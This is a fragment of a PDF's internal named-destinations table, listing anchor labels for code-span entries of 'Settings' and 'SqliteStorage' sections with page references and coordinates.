(Code/Settings/:__span-0-332) [ 1691 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings/:__span-0-333) [ 1691 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings/:__span-0-334) [ 1691 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings/:__span-0-335) [ 1693 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings/:__span-0-336) [ 1693 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings/:__span-0-337) [ 1693 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings/:__span-0-338) [ 1693 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings/:__span-0-339) [ 1693 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings/:__span-0-34) [ 1679 0 R /XYZ 60.307257 265.423806 0 ] (Code/Settings/:__span-0-340) [ 1693 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings/:__span-0-341) [ 1693 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings/:__span-0-342) [ 1693 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings/:__span-0-343) [ 1693 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings/:__span-0-344) [ 1693 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings/:__span-0-345) [ 1693 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings/:__span-0-346) [ 1693 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings/:__span-0-347) [ 1693 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings/:__span-0-348) [ 1693 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings/:__span-0-349) [ 1693 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings/:__span-0-35) [ 1679 0 R /XYZ 60.307257 238.623102 0 ] (Code/Settings/:__span-0-350) [ 1693 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings/:__span-0-351) [ 1693 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings/:__span-0-352) [ 1693 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings/:__span-0-353) [ 1693 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings/:__span-0-354) [ 1693 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings/:__span-0-355) [ 1693 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings/:__span-0-356) [ 1693 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings/:__span-0-357) [ 1693 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings/:__span-0-358) [ 1693 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings/:__span-0-359) [ 1693 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings/:__span-0-36) [ 1679 0 R /XYZ 60.307257 211.822398 0 ] (Code/Settings/:__span-0-360) [ 1693 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings/:__span-0-361) [ 1693 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings/:__span-0-362) [ 1693 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings/:__span-0-363) [ 1693 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings/:__span-0-364) [ 1693 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings/:__span-0-365) [ 1693 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings/:__span-0-366) [ 1693 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings/:__span-0-367) [ 1693 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings/:__span-0-368) [ 1693 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings/:__span-0-369) [ 1693 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings/:__span-0-37) [ 1679 0 R /XYZ 60.307257 185.021694 0 ] (Code/Settings/:__span-0-370) [ 1693 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings/:__span-0-371) [ 1693 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings/:__span-0-372) [ 1693 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings/:__span-0-373) [ 1693 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings/:__span-0-374) [ 1693 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings/:__span-0-375) [ 1693 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings/:__span-0-376) [ 1693 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings/:__span-0-377) [ 1693 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings/:__span-0-378) [ 1695 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings/:__span-0-379) [ 1695 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings/:__span-0-38) [ 1679 0 R /XYZ 60.307257 171.621342 0 ] (Code/Settings/:__span-0-380) [ 1695 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings/:__span-0-381) [ 1695 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings/:__span-0-382) [ 1695 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings/:__span-0-383) [ 1695 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings/:__span-0-384) [ 1695 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings/:__span-0-385) [ 1695 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings/:__span-0-386) [ 1695 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings/:__span-0-387) [ 1695 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings/:__span-0-388) [ 1695 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings/:__span-0-389) [ 1695 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings/:__span-0-39) [ 1679 0 R /XYZ 60.307257 158.220990 0 ] (Code/Settings/:__span-0-390) [ 1695 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings/:__span-0-391) [ 1695 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings/:__span-0-392) [ 1695 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings/:__span-0-393) [ 1695 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings/:__span-0-394) [ 1695 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings/:__span-0-395) [ 1695 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings/:__span-0-396) [ 1695 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings/:__span-0-397) [ 1695 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings/:__span-0-398) [ 1695 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings/:__span-0-399) [ 1695 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings/:__span-0-4) [ 1679 0 R /XYZ 60.307257 667.434366 0 ] (Code/Settings/:__span-0-40) [ 1679 0 R /XYZ 60.307257 144.820638 0 ] (Code/Settings/:__span-0-400) [ 1695 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings/:__span-0-401) [ 1695 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings/:__span-0-402) [ 1695 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings/:__span-0-403) [ 1695 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings/:__span-0-404) [ 1695 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings/:__span-0-405) [ 1695 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings/:__span-0-406) [ 1695 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings/:__span-0-407) [ 1695 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings/:__span-0-408) [ 1695 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings/:__span-0-409) [ 1695 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings/:__span-0-41) [ 1679 0 R /XYZ 60.307257 131.420286 0 ] (Code/Settings/:__span-0-410) [ 1695 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings/:__span-0-411) [ 1695 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings/:__span-0-412) [ 1695 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings/:__span-0-413) [ 1695 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings/:__span-0-414) [ 1695 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings/:__span-0-415) [ 1695 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings/:__span-0-416) [ 1695 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings/:__span-0-417) [ 1695 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings/:__span-0-418) [ 1695 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings/:__span-0-419) [ 1695 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings/:__span-0-42) [ 1679 0 R /XYZ 60.307257 118.019934 0 ] (Code/Settings/:__span-0-420) [ 1695 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings/:__span-0-421) [ 1695 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings/:__span-0-422) [ 1695 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings/:__span-0-423) [ 1695 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings/:__span-0-424) [ 1695 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings/:__span-0-425) [ 1695 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings/:__span-0-426) [ 1695 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings/:__span-0-427) [ 1697 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings/:__span-0-428) [ 1697 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings/:__span-0-429) [ 1697 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings/:__span-0-43) [ 1679 0 R /XYZ 60.307257 104.619582 0 ] (Code/Settings/:__span-0-430) [ 1697 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings/:__span-0-431) [ 1697 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings/:__span-0-432) [ 1697 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings/:__span-0-433) [ 1697 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings/:__span-0-434) [ 1697 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings/:__span-0-435) [ 1697 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings/:__span-0-436) [ 1697 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings/:__span-0-437) [ 1697 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings/:__span-0-438) [ 1697 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings/:__span-0-439) [ 1697 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings/:__span-0-44) [ 1679 0 R /XYZ 60.307257 91.219230 0 ] (Code/Settings/:__span-0-440) [ 1697 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings/:__span-0-441) [ 1697 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings/:__span-0-442) [ 1697 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings/:__span-0-443) [ 1697 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings/:__span-0-444) [ 1697 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings/:__span-0-445) [ 1697 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings/:__span-0-446) [ 1697 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings/:__span-0-447) [ 1697 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings/:__span-0-448) [ 1697 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings/:__span-0-449) [ 1697 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings/:__span-0-45) [ 1681 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings/:__span-0-450) [ 1697 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings/:__span-0-451) [ 1697 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings/:__span-0-452) [ 1697 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings/:__span-0-453) [ 1697 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings/:__span-0-454) [ 1697 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings/:__span-0-455) [ 1697 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings/:__span-0-456) [ 1697 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings/:__span-0-457) [ 1697 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings/:__span-0-458) [ 1697 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings/:__span-0-459) [ 1697 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings/:__span-0-46) [ 1681 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings/:__span-0-460) [ 1697 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings/:__span-0-461) [ 1697 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings/:__span-0-462) [ 1697 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings/:__span-0-463) [ 1697 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings/:__span-0-464) [ 1697 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings/:__span-0-465) [ 1697 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings/:__span-0-466) [ 1697 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings/:__span-0-467) [ 1697 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings/:__span-0-468) [ 1697 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings/:__span-0-469) [ 1697 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings/:__span-0-47) [ 1681 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings/:__span-0-470) [ 1697 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings/:__span-0-471) [ 1697 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings/:__span-0-472) [ 1699 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings/:__span-0-473) [ 1699 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings/:__span-0-474) [ 1699 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings/:__span-0-475) [ 1699 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings/:__span-0-476) [ 1699 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings/:__span-0-477) [ 1699 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings/:__span-0-48) [ 1681 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings/:__span-0-49) [ 1681 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings/:__span-0-5) [ 1679 0 R /XYZ 60.307257 654.034014 0 ] (Code/Settings/:__span-0-50) [ 1681 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings/:__span-0-51) [ 1681 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings/:__span-0-52) [ 1681 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings/:__span-0-53) [ 1681 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings/:__span-0-54) [ 1681 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings/:__span-0-55) [ 1681 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings/:__span-0-56) [ 1681 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings/:__span-0-57) [ 1681 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings/:__span-0-58) [ 1681 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings/:__span-0-59) [ 1681 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings/:__span-0-6) [ 1679 0 R /XYZ 60.307257 640.633662 0 ] (Code/Settings/:__span-0-60) [ 1681 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings/:__span-0-61) [ 1681 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings/:__span-0-62) [ 1681 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings/:__span-0-63) [ 1681 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings/:__span-0-64) [ 1681 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings/:__span-0-65) [ 1681 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings/:__span-0-66) [ 1681 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings/:__span-0-67) [ 1681 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings/:__span-0-68) [ 1681 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings/:__span-0-69) [ 1681 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings/:__span-0-7) [ 1679 0 R /XYZ 60.307257 627.233310 0 ] (Code/Settings/:__span-0-70) [ 1681 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings/:__span-0-71) [ 1681 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings/:__span-0-72) [ 1681 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings/:__span-0-73) [ 1681 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings/:__span-0-74) [ 1681 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings/:__span-0-75) [ 1681 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings/:__span-0-76) [ 1681 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings/:__span-0-77) [ 1681 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings/:__span-0-78) [ 1681 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings/:__span-0-79) [ 1681 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings/:__span-0-8) [ 1679 0 R /XYZ 60.307257 613.832958 0 ] (Code/Settings/:__span-0-80) [ 1681 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings/:__span-0-81) [ 1681 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings/:__span-0-82) [ 1681 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings/:__span-0-83) [ 1681 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings/:__span-0-84) [ 1681 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings/:__span-0-85) [ 1681 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings/:__span-0-86) [ 1681 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings/:__span-0-87) [ 1681 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings/:__span-0-88) [ 1683 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings/:__span-0-89) [ 1683 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings/:__span-0-9) [ 1679 0 R /XYZ 60.307257 600.432606 0 ] (Code/Settings/:__span-0-90) [ 1683 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings/:__span-0-91) [ 1683 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings/:__span-0-92) [ 1683 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings/:__span-0-93) [ 1683 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings/:__span-0-94) [ 1683 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings/:__span-0-95) [ 1683 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings/:__span-0-96) [ 1683 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings/:__span-0-97) [ 1683 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings/:__span-0-98) [ 1683 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings/:__span-0-99) [ 1683 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings/:settingscs) [ 1679 0 R /XYZ 39.386457 747.563622 0 ] (Code/SqliteStorage/:) [ 1575 0 R /XYZ 39.386457 747.563622 0 ] (Code/SqliteStorage/:__span-0-1) [ 1575 0 R /XYZ 60.307257 707.635422 0 ] (Code/SqliteStorage/:__span-0-10) [ 1575 0 R /XYZ 60.307257 587.032254 0 ] (Code/SqliteStorage/:__span-0-100) [ 1579 0 R /XYZ 60.307257 704.021862 0 ] (Code/SqliteStorage/:__span-0-101) [ 1579 0 R /XYZ 60.307257 690.621510 0 ] (Code/SqliteStorage/:__span-0-102) [ 1579 0 R /XYZ 60.307257 677.221158 0 ] (Code/SqliteStorage/:__span-0-103) [ 1579 0 R /XYZ 60.307257 663.820806 0 ] (Code/SqliteStorage/:__span-0-104) [ 1579 0 R /XYZ 60.307257 650.420454 0 ] (Code/SqliteStorage/:__span-0-105) [ 1579 0 R /XYZ 60.307257 637.020102 0 ] (Code/SqliteStorage/:__span-0-106) [ 1579 0 R /XYZ 60.307257 623.619750 0 ] (Code/SqliteStorage/:__span-0-107) [ 1579 0 R /XYZ 60.307257 610.219398 0 ] (Code/SqliteStorage/:__span-0-108) [ 1579 0 R /XYZ 60.307257 596.819046 0 ] (Code/SqliteStorage/:__span-0-109) [ 1579 0 R /XYZ 60.307257 570.018342 0 ] (Code/SqliteStorage/:__span-0-11) [ 1575 0 R /XYZ 60.307257 573.631902 0 ] (Code/SqliteStorage/:__span-0-110) [ 1579 0 R /XYZ 60.307257 556.617990 0 ] (Code/SqliteStorage/:__span-0-111) [ 1579 0 R /XYZ 60.307257 543.217638 0 ] (Code/SqliteStorage/:__span-0-112) [ 1579 0 R /XYZ 60.307257 529.817286 0 ] (Code/SqliteStorage/:__span-0-113) [ 1579 0 R /XYZ 60.307257 516.416934 0 ] (Code/SqliteStorage/:__span-0-114) [ 1579 0 R /XYZ 60.307257 503.016582 0 ] (Code/SqliteStorage/:__span-0-115) [ 1579 0 R /XYZ 60.307257 489.616230 0 ] (Code/SqliteStorage/:__span-0-116) [ 1579 0 R /XYZ 60.307257 476.215878 0 ] (Code/SqliteStorage/:__span-0-117) [ 1579 0 R /XYZ 60.307257 462.815526 0 ] (Code/SqliteStorage/:__span-0-118) [ 1579 0 R /XYZ 60.307257 449.415174 0 ] (Code/SqliteStorage/:__span-0-119) [ 1579 0 R /XYZ 60.307257 436.014822 0 ] (Code/SqliteStorage/:__span-0-12) [ 1575 0 R /XYZ 60.307257 560.231550 0 ] (Code/SqliteStorage/:__span-0-120) [ 1579 0 R /XYZ 60.307257 409.214118 0 ] (Code/SqliteStorage/:__span-0-121) [ 1579 0 R /XYZ 60.307257 395.813766 0 ] (Code/SqliteStorage/:__span-0-122) [ 1579 0 R /XYZ 60.307257 382.413414 0 ] (Code/SqliteStorage/:__span-0-123) [ 1579 0 R /XYZ 60.307257 369.013062 0 ] (Code/SqliteStorage/:__span-0-124) [ 1579 0 R /XYZ 60.307257 355.612710 0 ] (Code/SqliteStorage/:__span-0-125) [ 1579 0 R /XYZ 60.307257 342.212358 0 ] (Code/SqliteStorage/:__span-0-126) [ 1579 0 R /XYZ 60.307257 328.812006 0 ] (Code/SqliteStorage/:__span-0-127) [ 1579 0 R /XYZ 60.307257 315.411654 0 ] (Code/SqliteStorage/:__span-0-128) [ 1579 0 R /XYZ 60.307257 302.011302 0 ] (Code/SqliteStorage/:__span-0-129) [ 1579 0 R /XYZ 60.307257 288.610950 0 ] (Code/SqliteStorage/:__span-0-13) [ 1575 0 R /XYZ 60.307257 546.831198 0 ] (Code/SqliteStorage/:__span-0-130) [ 1579 0 R /XYZ 60.307257 275.210598 0 ] (Code/SqliteStorage/:__span-0-131) [ 1579 0 R /XYZ 60.307257 261.810246 0 ] (Code/SqliteStorage/:__span-0-132) [ 1579 0 R /XYZ 60.307257 248.409894 0 ] (Code/SqliteStorage/:__span-0-133) [ 1579 0 R /XYZ 60.307257 235.009542 0 ] (Code/SqliteStorage/:__span-0-134) [ 1579 0 R /XYZ 60.307257 221.609190 0 ] (Code/SqliteStorage/:__span-0-135) [ 1579 0 R /XYZ 60.307257 208.208838 0 ] (Code/SqliteStorage/:__span-0-136) [ 1579 0 R /XYZ 60.307257 194.808486 0 ] (Code/SqliteStorage/:__span-0-137) [ 1579 0 R /XYZ 60.307257 168.007782 0 ] (Code/SqliteStorage/:__span-0-138) [ 1579 0 R /XYZ 60.307257 154.607430 0 ] (Code/SqliteStorage/:__span-0-139) [ 1579 0 R /XYZ 60.307257 141.207078 0 ] (Code/SqliteStorage/:__span-0-14) [ 1575 0 R /XYZ 60.307257 533.430846 0 ] (Code/SqliteStorage/:__span-0-140) [ 1579 0 R /XYZ 60.307257 127.806726 0 ] (Code/SqliteStorage/:__span-0-141) [ 1579 0 R /XYZ 60.307257 114.406374 0 ] (Code/SqliteStorage/:__span-0-142) [ 1579 0 R /XYZ 60.307257 101.006022 0 ] (Code/SqliteStorage/:__span-0-143) [ 1581 0 R /XYZ 60.307257 771.023622 0 ] (Code/SqliteStorage/:__span-0-144) [ 1581 0 R /XYZ 60.307257 757.623270 0 ] (Code/SqliteStorage/:__span-0-145) [ 1581 0 R /XYZ 60.307257 730.822566 0 ] (Code/SqliteStorage/:__span-0-146) [ 1581 0 R /XYZ 60.307257 717.422214 0 ] (Code/SqliteStorage/:__span-0-147) [ 1581 0 R /XYZ 60.307257 704.021862 0 ] (Code/SqliteStorage/:__span-0-148) [ 1581 0 R /XYZ 60.307257 690.621510 0 ] (Code/SqliteStorage/:__span-0-149) [ 1581 0 R /XYZ 60.307257 677.221158 0 ] (Code/SqliteStorage/:__span-0-15) [ 1575 0 R /XYZ 60.307257 520.030494 0 ] (Code/SqliteStorage/:__span-0-150) [ 1581 0 R /XYZ 60.307257 663.820806 0 ] (Code/SqliteStorage/:__span-0-151) [ 1581 0 R /XYZ 60.307257 637.020102 0 ] (Code/SqliteStorage/:__span-0-152) [ 1581 0 R /XYZ 60.307257 623.619750 0 ] (Code/SqliteStorage/:__span-0-153) [ 1581 0 R /XYZ 60.307257 610.219398 0 ] (Code/SqliteStorage/:__span-0-154) [ 1581 0 R /XYZ 60.307257 596.819046 0 ] (Code/SqliteStorage/:__span-0-155) [ 1581 0 R /XYZ 60.307257 583.418694 0 ] (Code/SqliteStorage/:__span-0-156) [ 1581 0 R /XYZ 60.307257 570.018342 0 ] (Code/SqliteStorage/:__span-0-157) [ 1581 0 R /XYZ 60.307257 556.617990 0 ] (Code/SqliteStorage/:__span-0-158) [ 1581 0 R /XYZ 60.307257 543.217638 0 ] (Code/SqliteStorage/:__span-0-159) [ 1581 0 R /XYZ 60.307257 529.817286 0 ] (Code/SqliteStorage/:__span-0-16) [ 1575 0 R /XYZ 60.307257 506.630142 0 ] (Code/SqliteStorage/:__span-0-160) [ 1581 0 R /XYZ 60.307257 516.416934 0 ] (Code/SqliteStorage/:__span-0-161) [ 1581 0 R /XYZ 60.307257 503.016582 0 ] (Code/SqliteStorage/:__span-0-162) [ 1581 0 R /XYZ 60.307257 489.616230 0 ] (Code/SqliteStorage/:__span-0-163) [ 1581 0 R /XYZ 60.307257 476.215878 0 ] (Code/SqliteStorage/:__span-0-164) [ 1581 0 R /XYZ 60.307257 462.815526 0 ] (Code/SqliteStorage/:__span-0-165) [ 1581 0 R /XYZ 60.307257 449.415174 0 ] (Code/SqliteStorage/:__span-0-166) [ 1581 0 R /XYZ 60.307257 436.014822 0 ] (Code/SqliteStorage/:__span-0-167) [ 1581 0 R /XYZ 60.307257 422.614470 0 ] (Code/SqliteStorage/:__span-0-168) [ 1581 0 R /XYZ 60.307257 409.214118 0 ] (Code/SqliteStorage/:__span-0-169) [ 1581 0 R /XYZ 60.307257 382.413414 0 ] (Code/SqliteStorage/:__span-0-17) [ 1575 0 R /XYZ 60.307257 493.229790 0 ] (Code/SqliteStorage/:__span-0-170) [ 1581 0 R /XYZ 60.307257 369.013062 0 ] (Code/SqliteStorage/:__span-0-171) [ 1581 0 R /XYZ 60.307257 355.612710 0 ] (Code/SqliteStorage/:__span-0-172) [ 1581 0 R /XYZ 60.307257 342.212358 0 ] (Code/SqliteStorage/:__span-0-173) [ 1581 0 R /XYZ 60.307257 328.812006 0 ] (Code/SqliteStorage/:__span-0-174) [ 1581 0 R /XYZ 60.307257 315.411654 0 ] (Code/SqliteStorage/:__span-0-175) [ 1581 0 R /XYZ 60.307257 302.011302 0 ] (Code/SqliteStorage/:__span-0-176) [ 1581 0 R /XYZ 60.307257 288.610950 0 ] (Code/SqliteStorage/:__span-0-177) [ 1581 0 R /XYZ 60.307257 275.210598 0 ] (Code/SqliteStorage/:__span-0-178) [ 1581 0 R /XYZ 60.307257 261.810246 0 ] (Code/SqliteStorage/:__span-0-179) [ 1581 0 R /XYZ 60.307257 221.609190 0 ] (Code/SqliteStorage/:__span-0-18) [ 1575 0 R /XYZ 60.307257 479.829438 0 ] (Code/SqliteStorage/:__span-0-180) [ 1581 0 R /XYZ 60.307257 194.808486 0 ] (Code/SqliteStorage/:__span-0-181) [ 1581 0 R /XYZ 60.307257 181.408134 0 ] (Code/SqliteStorage/:__span-0-182) [ 1581 0 R /XYZ 60.307257 168.007782 0 ] (Code/SqliteStorage/:__span-0-183) [ 1581 0 R /XYZ 60.307257 141.207078 0 ] (Code/SqliteStorage/:__span-0-184) [ 1581 0 R /XYZ 60.307257 114.406374 0 ] (Code/SqliteStorage/:__span-0-185) [ 1581 0 R /XYZ 60.307257 101.006022 0 ] (Code/SqliteStorage/:__span-0-186) [ 1581 0 R /XYZ 60.307257 87.605670 0 ] (Code/SqliteStorage/:__span-0-187) [ 1583 0 R /XYZ 60.307257 771.023622 0 ] (Code/SqliteStorage/:__span-0-188) [ 1583 0 R /XYZ 60.307257 757.623270 0 ] (Code/SqliteStorage/:__span-0-189) [ 1583 0 R /XYZ 60.307257 744.222918 0 ] (Code/SqliteStorage/:__span-0-19) [ 1575 0 R /XYZ 60.307257 466.429086 0 ] (Code/SqliteStorage/:__span-0-190) [ 1583 0 R /XYZ 60.307257 730.822566 0 ] (Code/SqliteStorage/:__span-0-191) [ 1583 0 R /XYZ 60.307257 717.422214 0 ] (Code/SqliteStorage/:__span-0-192) [ 1583 0 R /XYZ 60.307257 704.021862 0 ] 